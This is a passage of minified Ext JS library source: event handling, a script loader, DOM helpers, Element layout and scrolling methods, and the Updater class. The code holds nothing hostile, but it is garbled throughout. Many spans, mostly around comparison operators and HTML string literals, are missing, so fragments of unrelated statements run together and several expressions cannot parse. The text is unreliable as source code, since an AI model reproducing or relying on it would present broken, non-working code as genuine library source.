';e.body.appendChild(g);d=g.lastChild;if((c=e.defaultView)){if(c.getComputedStyle(g.firstChild.firstChild,null).marginRight!="0px"){b.correctRightMargin=false}if(c.getComputedStyle(d,null).backgroundColor!="transparent"){b.correctTransparentColor=false}}b.cssFloat=!!d.style.cssFloat;e.body.removeChild(g)};if(Ext.isReady){a()}else{Ext.onReady(a)}})();Ext.EventObject=function(){var b=Ext.lib.Event,c=/(dbl)?click/,a={3:13,63234:37,63235:39,63232:38,63233:40,63276:33,63277:34,63272:46,63273:36,63275:35},d=Ext.isIE?{1:0,4:1,2:2}:{0:0,1:1,2:2};Ext.EventObjectImpl=function(g){if(g){this.setEvent(g.browserEvent||g)}};Ext.EventObjectImpl.prototype={setEvent:function(h){var g=this;if(h==g||(h&&h.browserEvent)){return h}g.browserEvent=h;if(h){g.button=h.button?d[h.button]:(h.which?h.which-1:-1);if(c.test(h.type)&&g.button==-1){g.button=0}g.type=h.type;g.shiftKey=h.shiftKey;g.ctrlKey=h.ctrlKey||h.metaKey||false;g.altKey=h.altKey;g.keyCode=h.keyCode;g.charCode=h.charCode;g.target=b.getTarget(h);g.xy=b.getXY(h)}else{g.button=-1;g.shiftKey=false;g.ctrlKey=false;g.altKey=false;g.keyCode=0;g.charCode=0;g.target=null;g.xy=[0,0]}return g},stopEvent:function(){var e=this;if(e.browserEvent){if(e.browserEvent.type=="mousedown"){Ext.EventManager.stoppedMouseDownEvent.fire(e)}b.stopEvent(e.browserEvent)}},preventDefault:function(){if(this.browserEvent){b.preventDefault(this.browserEvent)}},stopPropagation:function(){var e=this;if(e.browserEvent){if(e.browserEvent.type=="mousedown"){Ext.EventManager.stoppedMouseDownEvent.fire(e)}b.stopPropagation(e.browserEvent)}},getCharCode:function(){return this.charCode||this.keyCode},getKey:function(){return this.normalizeKey(this.keyCode||this.charCode)},normalizeKey:function(e){return Ext.isSafari?(a[e]||e):e},getPageX:function(){return this.xy[0]},getPageY:function(){return this.xy[1]},getXY:function(){return this.xy},getTarget:function(g,h,e){return g?Ext.fly(this.target).findParent(g,h,e):(e?Ext.get(this.target):this.target)},getRelatedTarget:function(){return this.browserEvent?b.getRelatedTarget(this.browserEvent):null},getWheelDelta:function(){var g=this.browserEvent;var h=0;if(g.wheelDelta){h=g.wheelDelta/120}else{if(g.detail){h=-g.detail/3}}return h},within:function(h,i,e){if(h){var g=this[i?"getRelatedTarget":"getTarget"]();return g&&((e?(g==Ext.getDom(h)):false)||Ext.fly(h).contains(g))}return false}};return new Ext.EventObjectImpl()}();Ext.Loader=Ext.apply({},{load:function(k,i,l,c){var l=l||this,g=document.getElementsByTagName("head")[0],b=document.createDocumentFragment(),a=k.length,h=0,e=this;var m=function(n){g.appendChild(e.buildScriptTag(k[n],d))};var d=function(){h++;if(a==h&&typeof i=="function"){i.call(l)}else{if(c===true){m(h)}}};if(c===true){m.call(this,0)}else{Ext.each(k,function(o,n){b.appendChild(this.buildScriptTag(o,d))},this);g.appendChild(b)}},buildScriptTag:function(b,c){var a=document.createElement("script");a.type="text/javascript";a.src=b;if(a.readyState){a.onreadystatechange=function(){if(a.readyState=="loaded"||a.readyState=="complete"){a.onreadystatechange=null;c()}}}else{a.onload=c}return a}});Ext.ns("Ext.grid","Ext.list","Ext.dd","Ext.tree","Ext.form","Ext.menu","Ext.state","Ext.layout","Ext.app","Ext.ux","Ext.chart","Ext.direct");Ext.apply(Ext,function(){var c=Ext,a=0,b=null;return{emptyFn:function(){},BLANK_IMAGE_URL:Ext.isIE6||Ext.isIE7||Ext.isAir?"http://www.extjs.com/s.gif":"data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==",extendX:function(d,e){return Ext.extend(d,e(d.prototype))},getDoc:function(){return Ext.get(document)},num:function(e,d){e=Number(Ext.isEmpty(e)||Ext.isArray(e)||typeof e=="boolean"||(typeof e=="string"&&e.trim().length==0)?NaN:e);return isNaN(e)?d:e},value:function(g,d,e){return Ext.isEmpty(g,e)?d:g},escapeRe:function(d){return d.replace(/([-.*+?^${}()|[\]\/\\])/g,"\\$1")},sequence:function(h,d,g,e){h[d]=h[d].createSequence(g,e)},addBehaviors:function(i){if(!Ext.isReady){Ext.onReady(function(){Ext.addBehaviors(i)})}else{var e={},h,d,g;for(d in i){if((h=d.split("@"))[1]){g=h[0];if(!e[g]){e[g]=Ext.select(g)}e[g].on(h[1],i[d])}}e=null}},getScrollBarWidth:function(g){if(!Ext.isReady){return 0}if(g===true||b===null){var i=Ext.getBody().createChild('
'),h=i.child("div",true);var e=h.offsetWidth;i.setStyle("overflow",(Ext.isWebKit||Ext.isGecko)?"auto":"scroll");var d=h.offsetWidth;i.remove();b=e-d+2}return b},combine:function(){var g=arguments,e=g.length,k=[];for(var h=0;hh?1:-1};Ext.each(d,function(h){g=e(g,h)==1?g:h});return g},mean:function(d){return d.length>0?Ext.sum(d)/d.length:undefined},sum:function(d){var e=0;Ext.each(d,function(g){e+=g});return e},partition:function(d,e){var g=[[],[]];Ext.each(d,function(k,l,h){g[(e&&e(k,l,h))||(!e&&k)?0:1].push(k)});return g},invoke:function(d,e){var h=[],g=Array.prototype.slice.call(arguments,2);Ext.each(d,function(k,l){if(k&&typeof k[e]=="function"){h.push(k[e].apply(k,g))}else{h.push(undefined)}});return h},pluck:function(d,g){var e=[];Ext.each(d,function(h){e.push(h[g])});return e},zip:function(){var n=Ext.partition(arguments,function(i){return typeof i!="function"}),k=n[0],m=n[1][0],d=Ext.max(Ext.pluck(k,"length")),h=[];for(var l=0;l=a.left&&b.right<=a.right&&b.top>=a.top&&b.bottom<=a.bottom)},getArea:function(){var a=this;return((a.bottom-a.top)*(a.right-a.left))},intersect:function(h){var g=this,d=Math.max(g.top,h.top),e=Math.min(g.right,h.right),a=Math.min(g.bottom,h.bottom),c=Math.max(g.left,h.left);if(a>=d&&e>=c){return new Ext.lib.Region(d,e,a,c)}},union:function(h){var g=this,d=Math.min(g.top,h.top),e=Math.max(g.right,h.right),a=Math.max(g.bottom,h.bottom),c=Math.min(g.left,h.left);return new Ext.lib.Region(d,e,a,c)},constrainTo:function(b){var a=this;a.top=a.top.constrain(b.top,b.bottom);a.bottom=a.bottom.constrain(b.top,b.bottom);a.left=a.left.constrain(b.left,b.right);a.right=a.right.constrain(b.left,b.right);return a},adjust:function(d,c,a,g){var e=this;e.top+=d;e.left+=c;e.right+=g;e.bottom+=a;return e}};Ext.lib.Region.getRegion=function(e){var h=Ext.lib.Dom.getXY(e),d=h[1],g=h[0]+e.offsetWidth,a=h[1]+e.offsetHeight,c=h[0];return new Ext.lib.Region(d,g,a,c)};Ext.lib.Point=function(a,c){if(Ext.isArray(a)){c=a[1];a=a[0]}var b=this;b.x=b.right=b.left=b[0]=a;b.y=b.top=b.bottom=b[1]=c};Ext.lib.Point.prototype=new Ext.lib.Region();Ext.apply(Ext.DomHelper,function(){var e,a="afterbegin",h="afterend",i="beforebegin",d="beforeend",b=/tag|children|cn|html$/i;function g(n,q,p,r,m,k){n=Ext.getDom(n);var l;if(e.useDom){l=c(q,null);if(k){n.appendChild(l)}else{(m=="firstChild"?n:n.parentNode).insertBefore(l,n[m]||n)}}else{l=Ext.DomHelper.insertHtml(r,n,Ext.DomHelper.createHtml(q))}return p?Ext.get(l,true):l}function c(k,s){var m,v=document,q,t,n,u;if(Ext.isArray(k)){m=v.createDocumentFragment();for(var r=0,p=k.length;r0){return setTimeout(d,c)}d();return 0},createSequence:function(c,b,a){if(!Ext.isFunction(b)){return c}else{return function(){var d=c.apply(this||window,arguments);b.apply(a||this||window,arguments);return d}}}};Ext.defer=Ext.util.Functions.defer;Ext.createInterceptor=Ext.util.Functions.createInterceptor;Ext.createSequence=Ext.util.Functions.createSequence;Ext.createDelegate=Ext.util.Functions.createDelegate;Ext.apply(Ext.util.Observable.prototype,function(){function a(k){var i=(this.methodEvents=this.methodEvents||{})[k],d,c,g,h=this;if(!i){this.methodEvents[k]=i={};i.originalFn=this[k];i.methodName=k;i.before=[];i.after=[];var b=function(m,l,e){if((c=m.apply(l||h,e))!==undefined){if(typeof c=="object"){if(c.returnValue!==undefined){d=c.returnValue}else{d=c}g=!!c.cancel}else{if(c===false){g=true}else{d=c}}}};this[k]=function(){var m=Array.prototype.slice.call(arguments,0),l;d=c=undefined;g=false;for(var n=0,e=i.before.length;n=525:!((Ext.isGecko&&!Ext.isWindows)||Ext.isOpera);return{doResizeEvent:function(){var m=a.getViewHeight(),l=a.getViewWidth();if(g!=m||h!=l){c.fire(h=l,g=m)}},onWindowResize:function(n,m,l){if(!c){c=new Ext.util.Event();k=new Ext.util.DelayedTask(this.doResizeEvent);Ext.EventManager.on(window,"resize",this.fireWindowResize,this)}c.addListener(n,m,l)},fireWindowResize:function(){if(c){k.delay(100)}},onTextResize:function(o,n,l){if(!e){e=new Ext.util.Event();var m=new Ext.Element(document.createElement("div"));m.dom.className="x-text-resize";m.dom.innerHTML="X";m.appendTo(document.body);b=m.dom.offsetHeight;setInterval(function(){if(m.dom.offsetHeight!=b){e.fire(b,b=m.dom.offsetHeight)}},this.textResizeInterval)}e.addListener(o,n,l)},removeResizeListener:function(m,l){if(c){c.removeListener(m,l)}},fireResize:function(){if(c){c.fire(a.getViewWidth(),a.getViewHeight())}},textResizeInterval:50,ieDeferSrc:false,getKeyEvent:function(){return d?"keydown":"keypress"},useKeydown:d}}());Ext.EventManager.on=Ext.EventManager.addListener;Ext.apply(Ext.EventObjectImpl.prototype,{BACKSPACE:8,TAB:9,NUM_CENTER:12,ENTER:13,RETURN:13,SHIFT:16,CTRL:17,CONTROL:17,ALT:18,PAUSE:19,CAPS_LOCK:20,ESC:27,SPACE:32,PAGE_UP:33,PAGEUP:33,PAGE_DOWN:34,PAGEDOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,PRINT_SCREEN:44,INSERT:45,DELETE:46,ZERO:48,ONE:49,TWO:50,THREE:51,FOUR:52,FIVE:53,SIX:54,SEVEN:55,EIGHT:56,NINE:57,A:65,B:66,C:67,D:68,E:69,F:70,G:71,H:72,I:73,J:74,K:75,L:76,M:77,N:78,O:79,P:80,Q:81,R:82,S:83,T:84,U:85,V:86,W:87,X:88,Y:89,Z:90,CONTEXT_MENU:93,NUM_ZERO:96,NUM_ONE:97,NUM_TWO:98,NUM_THREE:99,NUM_FOUR:100,NUM_FIVE:101,NUM_SIX:102,NUM_SEVEN:103,NUM_EIGHT:104,NUM_NINE:105,NUM_MULTIPLY:106,NUM_PLUS:107,NUM_MINUS:109,NUM_PERIOD:110,NUM_DIVISION:111,F1:112,F2:113,F3:114,F4:115,F5:116,F6:117,F7:118,F8:119,F9:120,F10:121,F11:122,F12:123,isNavKeyPress:function(){var b=this,a=this.normalizeKey(b.keyCode);return(a>=33&&a<=40)||a==b.RETURN||a==b.TAB||a==b.ESC},isSpecialKey:function(){var a=this.normalizeKey(this.keyCode);return(this.type=="keypress"&&this.ctrlKey)||this.isNavKeyPress()||(a==this.BACKSPACE)||(a>=16&&a<=20)||(a>=44&&a<=46)},getPoint:function(){return new Ext.lib.Point(this.xy[0],this.xy[1])},hasModifier:function(){return((this.ctrlKey||this.altKey)||this.shiftKey)}});Ext.Element.addMethods({swallowEvent:function(a,b){var d=this;function c(g){g.stopPropagation();if(b){g.preventDefault()}}if(Ext.isArray(a)){Ext.each(a,function(g){d.on(g,c)});return d}d.on(a,c);return d},relayEvent:function(a,b){this.on(a,function(c){b.fireEvent(a,c)})},clean:function(b){var d=this,e=d.dom,g=e.firstChild,c=-1;if(Ext.Element.data(e,"isCleaned")&&b!==true){return d}while(g){var a=g.nextSibling;if(g.nodeType==3&&!(/\S/.test(g.nodeValue))){e.removeChild(g)}else{g.nodeIndex=++c}g=a}Ext.Element.data(e,"isCleaned",true);return d},load:function(){var a=this.getUpdater();a.update.apply(a,arguments);return this},getUpdater:function(){return this.updateManager||(this.updateManager=new Ext.Updater(this))},update:function(html,loadScripts,callback){if(!this.dom){return this}html=html||"";if(loadScripts!==true){this.dom.innerHTML=html;if(typeof callback=="function"){callback()}return this}var id=Ext.id(),dom=this.dom;html+='';Ext.lib.Event.onAvailable(id,function(){var DOC=document,hd=DOC.getElementsByTagName("head")[0],re=/(?:]*)?>)((\n|\r|.)*?)(?:<\/script>)/ig,srcRe=/\ssrc=([\'\"])(.*?)\1/i,typeRe=/\stype=([\'\"])(.*?)\1/i,match,attrs,srcMatch,typeMatch,el,s;while((match=re.exec(html))){attrs=match[1];srcMatch=attrs?attrs.match(srcRe):false;if(srcMatch&&srcMatch[2]){s=DOC.createElement("script");s.src=srcMatch[2];typeMatch=attrs.match(typeRe);if(typeMatch&&typeMatch[2]){s.type=typeMatch[2]}hd.appendChild(s)}else{if(match[2]&&match[2].length>0){if(window.execScript){window.execScript(match[2])}else{window.eval(match[2])}}}}el=DOC.getElementById(id);if(el){Ext.removeNode(el)}if(typeof callback=="function"){callback()}});dom.innerHTML=html.replace(/(?:)((\n|\r|.)*?)(?:<\/script>)/ig,"");return this},removeAllListeners:function(){this.removeAnchor();Ext.EventManager.removeAll(this.dom);return this},createProxy:function(a,e,d){a=(typeof a=="object")?a:{tag:"div",cls:a};var c=this,b=e?Ext.DomHelper.append(e,a,true):Ext.DomHelper.insertBefore(c.dom,a,true);if(d&&c.setBox&&c.getBox){b.setBox(c.getBox())}return b}});Ext.Element.prototype.getUpdateManager=Ext.Element.prototype.getUpdater;Ext.Element.addMethods({getAnchorXY:function(e,m,t){e=(e||"tl").toLowerCase();t=t||{};var l=this,b=l.dom==document.body||l.dom==document,p=t.width||b?Ext.lib.Dom.getViewWidth():l.getWidth(),i=t.height||b?Ext.lib.Dom.getViewHeight():l.getHeight(),q,a=Math.round,c=l.getXY(),n=l.getScroll(),k=b?n.left:!m?c[0]:0,g=b?n.top:!m?c[1]:0,d={c:[a(p*0.5),a(i*0.5)],t:[a(p*0.5),0],l:[0,a(i*0.5)],r:[p,a(i*0.5)],b:[a(p*0.5),i],tl:[0,0],bl:[0,i],br:[p,i],tr:[p,0]};q=d[e];return[q[0]+k,q[1]+g]},anchorTo:function(b,h,c,a,l,m){var i=this,e=i.dom,k=!Ext.isEmpty(l),d=function(){Ext.fly(e).alignTo(b,h,c,a);Ext.callback(m,Ext.fly(e))},g=this.getAnchor();this.removeAnchor();Ext.apply(g,{fn:d,scroll:k});Ext.EventManager.onWindowResize(d,null);if(k){Ext.EventManager.on(window,"scroll",d,null,{buffer:!isNaN(l)?l:50})}d.call(i);return i},removeAnchor:function(){var b=this,a=this.getAnchor();if(a&&a.fn){Ext.EventManager.removeResizeListener(a.fn);if(a.scroll){Ext.EventManager.un(window,"scroll",a.fn)}delete a.fn}return b},getAnchor:function(){var b=Ext.Element.data,c=this.dom;if(!c){return}var a=b(c,"_anchor");if(!a){a=b(c,"_anchor",{})}return a},getAlignToXY:function(g,B,C){g=Ext.get(g);if(!g||!g.dom){throw"Element.alignToXY with an element that doesn't exist"}C=C||[0,0];B=(!B||B=="?"?"tl-bl?":(!(/-/).test(B)&&B!==""?"tl-"+B:B||"tl-bl")).toLowerCase();var L=this,I=L.dom,N,M,q,n,t,G,z,u=Ext.lib.Dom.getViewWidth()-10,H=Ext.lib.Dom.getViewHeight()-10,b,i,k,l,v,A,O=document,K=O.documentElement,s=O.body,F=(K.scrollLeft||s.scrollLeft||0)+5,E=(K.scrollTop||s.scrollTop||0)+5,J=false,e="",a="",D=B.match(/^([a-z]+)-([a-z]+)(\?)?$/);if(!D){throw"Element.alignTo with an invalid alignment "+B}e=D[1];a=D[2];J=!!D[3];N=L.getAnchorXY(e,true);M=g.getAnchorXY(a,false);q=M[0]-N[0]+C[0];n=M[1]-N[1]+C[1];if(J){t=L.getWidth();G=L.getHeight();z=g.getRegion();b=e.charAt(0);i=e.charAt(e.length-1);k=a.charAt(0);l=a.charAt(a.length-1);v=((b=="t"&&k=="b")||(b=="b"&&k=="t"));A=((i=="r"&&l=="l")||(i=="l"&&l=="r"));if(q+t>u+F){q=A?z.left-t:u+F-t}if(qH+E){n=v?z.top-G:H+E-G}if(nC){q=C-r;n=true}if((p+D)>g){p=g-D;n=true}if(q"+String.format(Ext.Element.boxMarkup,c)+"
"));Ext.DomQuery.selectNode("."+c+"-mc",d.dom).appendChild(this.dom);return d},setSize:function(e,c,d){var g=this;if(typeof e=="object"){c=e.height;e=e.width}e=g.adjustWidth(e);c=g.adjustHeight(c);if(!d||!g.anim){g.dom.style.width=g.addUnits(e);g.dom.style.height=g.addUnits(c)}else{g.anim({width:{to:e},height:{to:c}},g.preanim(arguments,2))}return g},getComputedHeight:function(){var d=this,c=Math.max(d.dom.offsetHeight,d.dom.clientHeight);if(!c){c=parseFloat(d.getStyle("height"))||0;if(!d.isBorderBox()){c+=d.getFrameWidth("tb")}}return c},getComputedWidth:function(){var c=Math.max(this.dom.offsetWidth,this.dom.clientWidth);if(!c){c=parseFloat(this.getStyle("width"))||0;if(!this.isBorderBox()){c+=this.getFrameWidth("lr")}}return c},getFrameWidth:function(d,c){return c&&this.isBorderBox()?0:(this.getPadding(d)+this.getBorderWidth(d))},addClassOnOver:function(c){this.hover(function(){Ext.fly(this,a).addClass(c)},function(){Ext.fly(this,a).removeClass(c)});return this},addClassOnFocus:function(c){this.on("focus",function(){Ext.fly(this,a).addClass(c)},this.dom);this.on("blur",function(){Ext.fly(this,a).removeClass(c)},this.dom);return this},addClassOnClick:function(c){var d=this.dom;this.on("mousedown",function(){Ext.fly(d,a).addClass(c);var g=Ext.getDoc(),e=function(){Ext.fly(d,a).removeClass(c);g.removeListener("mouseup",e)};g.on("mouseup",e)});return this},getViewSize:function(){var g=document,h=this.dom,c=(h==g||h==g.body);if(c){var e=Ext.lib.Dom;return{width:e.getViewWidth(),height:e.getViewHeight()}}else{return{width:h.clientWidth,height:h.clientHeight}}},getStyleSize:function(){var k=this,c,i,m=document,n=this.dom,e=(n==m||n==m.body),g=n.style;if(e){var l=Ext.lib.Dom;return{width:l.getViewWidth(),height:l.getViewHeight()}}if(g.width&&g.width!="auto"){c=parseFloat(g.width);if(k.isBorderBox()){c-=k.getFrameWidth("lr")}}if(g.height&&g.height!="auto"){i=parseFloat(g.height);if(k.isBorderBox()){i-=k.getFrameWidth("tb")}}return{width:c||k.getWidth(true),height:i||k.getHeight(true)}},getSize:function(c){return{width:this.getWidth(c),height:this.getHeight(c)}},repaint:function(){var c=this.dom;this.addClass("x-repaint");setTimeout(function(){Ext.fly(c).removeClass("x-repaint")},1);return this},unselectable:function(){this.dom.unselectable="on";return this.swallowEvent("selectstart",true).applyStyles("-moz-user-select:none;-khtml-user-select:none;").addClass("x-unselectable")},getMargins:function(d){var e=this,c,g={t:"top",l:"left",r:"right",b:"bottom"},h={};if(!d){for(c in e.margins){h[g[c]]=parseFloat(e.getStyle(e.margins[c]))||0}return h}else{return e.addStyles.call(e,d,e.margins)}}}}());Ext.Element.addMethods({setBox:function(e,g,b){var d=this,a=e.width,c=e.height;if((g&&!d.autoBoxAdjust)&&!d.isBorderBox()){a-=(d.getBorderWidth("lr")+d.getPadding("lr"));c-=(d.getBorderWidth("tb")+d.getPadding("tb"))}d.setBounds(e.x,e.y,a,c,d.animTest.call(d,arguments,b,2));return d},getBox:function(k,q){var n=this,x,e,p,d=n.getBorderWidth,s=n.getPadding,g,a,v,o;if(!q){x=n.getXY()}else{e=parseInt(n.getStyle("left"),10)||0;p=parseInt(n.getStyle("top"),10)||0;x=[e,p]}var c=n.dom,u=c.offsetWidth,i=c.offsetHeight,m;if(!k){m={x:x[0],y:x[1],0:x[0],1:x[1],width:u,height:i}}else{g=d.call(n,"l")+s.call(n,"l");a=d.call(n,"r")+s.call(n,"r");v=d.call(n,"t")+s.call(n,"t");o=d.call(n,"b")+s.call(n,"b");m={x:x[0]+g,y:x[1]+v,0:x[0]+g,1:x[1]+v,width:u-(g+a),height:i-(v+o)}}m.right=m.x+m.width;m.bottom=m.y+m.height;return m},move:function(k,b,c){var g=this,n=g.getXY(),l=n[0],i=n[1],d=[l-b,i],m=[l+b,i],h=[l,i-b],a=[l,i+b],e={l:d,left:d,r:m,right:m,t:h,top:h,up:h,b:a,bottom:a,down:a};k=k.toLowerCase();g.moveTo(e[k][0],e[k][1],g.animTest.call(g,arguments,c,2))},setLeftTop:function(d,c){var b=this,a=b.dom.style;a.left=b.addUnits(d);a.top=b.addUnits(c);return b},getRegion:function(){return Ext.lib.Dom.getRegion(this.dom)},setBounds:function(b,g,d,a,c){var e=this;if(!c||!e.anim){e.setSize(d,a);e.setLocation(b,g)}else{e.anim({points:{to:[b,g]},width:{to:e.adjustWidth(d)},height:{to:e.adjustHeight(a)}},e.preanim(arguments,4),"motion")}return e},setRegion:function(b,a){return this.setBounds(b.left,b.top,b.right-b.left,b.bottom-b.top,this.animTest.call(this,arguments,a,1))}});Ext.Element.addMethods({scrollTo:function(b,d,a){var e=/top/i.test(b),c=this,g=c.dom,h;if(!a||!c.anim){h="scroll"+(e?"Top":"Left");g[h]=d}else{h="scroll"+(e?"Left":"Top");c.anim({scroll:{to:e?[g[h],d]:[d,g[h]]}},c.preanim(arguments,2),"scroll")}return c},scrollIntoView:function(e,i){var q=Ext.getDom(e)||Ext.getBody().dom,h=this.dom,g=this.getOffsetsTo(q),m=g[0]+q.scrollLeft,v=g[1]+q.scrollTop,s=v+h.offsetHeight,d=m+h.offsetWidth,a=q.clientHeight,n=parseInt(q.scrollTop,10),u=parseInt(q.scrollLeft,10),k=n+a,p=u+q.clientWidth;if(h.offsetHeight>a||vk){q.scrollTop=s-a}}q.scrollTop=q.scrollTop;if(i!==false){if(h.offsetWidth>q.clientWidth||mp){q.scrollLeft=d-q.clientWidth}}q.scrollLeft=q.scrollLeft}return this},scrollChildIntoView:function(b,a){Ext.fly(b,"_scrollChildIntoView").scrollIntoView(this,a)},scroll:function(n,b,d){if(!this.isScrollable()){return false}var e=this.dom,g=e.scrollLeft,q=e.scrollTop,o=e.scrollWidth,m=e.scrollHeight,i=e.clientWidth,a=e.clientHeight,c=false,p,k={l:Math.min(g+b,o-i),r:p=Math.max(g-b,0),t:Math.max(q-b,0),b:Math.min(q+b,m-a)};k.d=k.b;k.u=k.t;n=n.substr(0,1);if((p=k[n])>-1){c=true;this.scrollTo(n=="l"||n=="r"?"left":"top",p,this.preanim(arguments,2))}return c}});Ext.Element.addMethods(function(){var d="visibility",b="display",a="hidden",h="none",c="x-masked",g="x-masked-relative",e=Ext.Element.data;return{isVisible:function(i){var k=!this.isStyle(d,a)&&!this.isStyle(b,h),l=this.dom.parentNode;if(i!==true||!k){return k}while(l&&!(/^body/i.test(l.tagName))){if(!Ext.fly(l,"_isVisible").isVisible()){return false}l=l.parentNode}return true},isDisplayed:function(){return !this.isStyle(b,h)},enableDisplayMode:function(i){this.setVisibilityMode(Ext.Element.DISPLAY);if(!Ext.isEmpty(i)){e(this.dom,"originalDisplay",i)}return this},mask:function(k,o){var q=this,m=q.dom,p=Ext.DomHelper,n="ext-el-mask-msg",i,r;if(!(/^body/i.test(m.tagName)&&q.getStyle("position")=="static")){q.addClass(g)}if(i=e(m,"maskMsg")){i.remove()}if(i=e(m,"mask")){i.remove()}r=p.append(m,{cls:"ext-el-mask"},true);e(m,"mask",r);q.addClass(c);r.setDisplayed(true);if(typeof k=="string"){var l=p.append(m,{cls:n,cn:{tag:"div"}},true);e(m,"maskMsg",l);l.dom.className=o?n+" "+o:n;l.dom.firstChild.innerHTML=k;l.setDisplayed(true);l.center(q)}if(Ext.isIE&&!(Ext.isIE7&&Ext.isStrict)&&q.getStyle("height")=="auto"){r.setSize(undefined,q.getHeight())}return r},unmask:function(){var l=this,m=l.dom,i=e(m,"mask"),k=e(m,"maskMsg");if(i){if(k){k.remove();e(m,"maskMsg",undefined)}i.remove();e(m,"mask",undefined);l.removeClass([c,g])}},isMasked:function(){var i=e(this.dom,"mask");return i&&i.isVisible()},createShim:function(){var i=document.createElement("iframe"),k;i.frameBorder="0";i.className="ext-shim";i.src=Ext.SSL_SECURE_URL;k=Ext.get(this.dom.parentNode.insertBefore(i,this.dom));k.autoBoxAdjust=false;return k}}}());Ext.Element.addMethods({addKeyListener:function(b,d,c){var a;if(typeof b!="object"||Ext.isArray(b)){a={key:b,fn:d,scope:c}}else{a={key:b.key,shift:b.shift,ctrl:b.ctrl,alt:b.alt,fn:d,scope:c}}return new Ext.KeyMap(this,a)},addKeyMap:function(a){return new Ext.KeyMap(this,a)}});Ext.CompositeElementLite.importElementMethods();Ext.apply(Ext.CompositeElementLite.prototype,{addElements:function(c,a){if(!c){return this}if(typeof c=="string"){c=Ext.Element.selectorFunction(c,a)}var b=this.elements;Ext.each(c,function(d){b.push(Ext.get(d))});return this},first:function(){return this.item(0)},last:function(){return this.item(this.getCount()-1)},contains:function(a){return this.indexOf(a)!=-1},removeElement:function(d,e){var c=this,a=this.elements,b;Ext.each(d,function(g){if((b=(a[g]||a[g=c.indexOf(g)]))){if(e){if(b.dom){b.remove()}else{Ext.removeNode(b)}}a.splice(g,1)}});return this}});Ext.CompositeElement=Ext.extend(Ext.CompositeElementLite,{constructor:function(b,a){this.elements=[];this.add(b,a)},getElement:function(a){return a},transformElement:function(a){return Ext.get(a)}});Ext.Element.select=function(a,d,b){var c;if(typeof a=="string"){c=Ext.Element.selectorFunction(a,b)}else{if(a.length!==undefined){c=a}else{throw"Invalid selector"}}return(d===true)?new Ext.CompositeElement(c):new Ext.CompositeElementLite(c)};Ext.select=Ext.Element.select;Ext.UpdateManager=Ext.Updater=Ext.extend(Ext.util.Observable,function(){var b="beforeupdate",d="update",c="failure";function a(h){var i=this;i.transaction=null;if(h.argument.form&&h.argument.reset){try{h.argument.form.reset()}catch(k){}}if(i.loadScripts){i.renderer.render(i.el,h,i,g.createDelegate(i,[h]))}else{i.renderer.render(i.el,h,i);g.call(i,h)}}function g(h,i,k){this.fireEvent(i||d,this.el,h);if(Ext.isFunction(h.argument.callback)){h.argument.callback.call(h.argument.scope,this.el,Ext.isEmpty(k)?true:false,h,h.argument.options)}}function e(h){g.call(this,h,c,!!(this.transaction=null))}return{constructor:function(i,h){var k=this;i=Ext.get(i);if(!h&&i.updateManager){return i.updateManager}k.el=i;k.defaultUrl=null;k.addEvents(b,d,c);Ext.apply(k,Ext.Updater.defaults);k.transaction=null;k.refreshDelegate=k.refresh.createDelegate(k);k.updateDelegate=k.update.createDelegate(k);k.formUpdateDelegate=(k.formUpdate||function(){}).createDelegate(k);k.renderer=k.renderer||k.getDefaultRenderer();Ext.Updater.superclass.constructor.call(k)},setRenderer:function(h){this.renderer=h},getRenderer:function(){return this.renderer},getDefaultRenderer:function(){return new Ext.Updater.BasicRenderer()},setDefaultUrl:function(h){this.defaultUrl=h},getEl:function(){return this.el},update:function(i,p,q,m){var l=this,h,k;if(l.fireEvent(b,l.el,i,p)!==false){if(Ext.isObject(i)){h=i;i=h.url;p=p||h.params;q=q||h.callback;m=m||h.discardUrl;k=h.scope;if(!Ext.isEmpty(h.nocache)){l.disableCaching=h.nocache}if(!Ext.isEmpty(h.text)){l.indicatorText='
'+h.text+"
"}if(!Ext.isEmpty(h.scripts)){l.loadScripts=h.scripts}if(!Ext.isEmpty(h.timeout)){l.timeout=h.timeout}}l.showLoading();if(!m){l.defaultUrl=i}if(Ext.isFunction(i)){i=i.call(l)}var n=Ext.apply({},{url:i,params:(Ext.isFunction(p)&&k)?p.createDelegate(k):p,success:a,failure:e,scope:l,callback:undefined,timeout:(l.timeout*1000),disableCaching:l.disableCaching,argument:{options:h,url:i,form:null,callback:q,scope:k||window,params:p}},h);l.transaction=Ext.Ajax.request(n)}},formUpdate:function(l,h,k,m){var i=this;if(i.fireEvent(b,i.el,l,h)!==false){if(Ext.isFunction(h)){h=h.call(i)}l=Ext.getDom(l);i.transaction=Ext.Ajax.request({form:l,url:h,success:a,failure:e,scope:i,timeout:(i.timeout*1000),argument:{url:h,form:l,callback:m,reset:k}});i.showLoading.defer(1,i)}},startAutoRefresh:function(i,k,m,n,h){var l=this;if(h){l.update(k||l.defaultUrl,m,n,true)}if(l.autoRefreshProcId){clearInterval(l.autoRefreshProcId)}l.autoRefreshProcId=setInterval(l.update.createDelegate(l,[k||l.defaultUrl,m,n,true]),i*1000)},stopAutoRefresh:function(){if(this.autoRefreshProcId){clearInterval(this.autoRefreshProcId);delete this.autoRefreshProcId}},isAutoRefreshing:function(){return !!this.autoRefreshProcId},showLoading:function(){if(this.showLoadIndicator){this.el.dom.innerHTML=this.indicatorText}},abort:function(){if(this.transaction){Ext.Ajax.abort(this.transaction)}},isUpdating:function(){return this.transaction?Ext.Ajax.isLoading(this.transaction):false},refresh:function(h){if(this.defaultUrl){this.update(this.defaultUrl,null,h,true)}}}}());Ext.Updater.defaults={timeout:30,disableCaching:false,showLoadIndicator:true,indicatorText:'
Loading...
